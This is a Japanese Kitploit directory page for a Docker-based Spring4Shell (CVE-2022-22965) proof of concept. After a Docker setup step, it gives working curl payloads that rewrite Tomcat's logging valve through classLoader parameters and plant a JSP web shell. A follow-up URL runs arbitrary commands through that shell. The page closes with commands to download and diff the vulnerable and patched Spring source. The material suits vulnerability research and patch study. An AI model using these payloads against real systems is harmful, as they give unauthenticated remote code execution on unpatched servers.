Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-22965 — Spring Boot 2.6.5のCVE-2022-22965(Spring4Shell)リモートコード実行脆弱性のDockerベースの概念実証。自動化されたウェブシェル展開とパッチ比較を備えています。 | Kitploit
ツール/GitHubGitHub/itsecurityco/cve-2022-22965
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

Spring Boot 2.6.5のCVE-2022-22965(Spring4Shell)リモートコード実行脆弱性のDockerベースの概念実証。自動化されたウェブシェル展開とパッチ比較を備えています。

リポジトリを見る
163124年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Spring Boot CVE-2022-22965

Spring Boot バージョン 2.6.5 における CVE-2022-22965 の Docker PoC

Shell

🚀 はじめに

  1. https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip から配布コードをダウンロードし、解凍します。
  2. docker compose up --build を実行して、脆弱なアプリケーションをビルドし起動します。
  3. 以下のコマンドを実行して Tomcat の設定バルブを変更します。
    curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
  4. 以下のコマンドを実行して Web シェルを作成します。
    curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"
  5. ブラウザを開き、http://localhost:8080/shell.jsp?1337=id にアクセスしてコマンドの実行を開始します。

🔎 パッチリビジョン

Spring Framework 5.3.17(脆弱版)および Spring Framework 5.3.18(パッチ適用版)のソースコードは、それぞれ以下からダウンロードできます。

  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

脆弱性は /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java ファイルの 290 行目に存在します。この行では Class.getClassLoader() および getProtectionDomain() メソッドに対して検証が行われていますが、ClassLoader、ProtectionDomain 型や PropertyDescriptors 名については検証されていません。

脆弱コードとパッチ適用コードの差分は、diff コマンドで取得できます。

root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

Patch


クレジット

  • 原著研究: @p1n93r
  • 謝辞: @fmunoz
ツールをダウンロード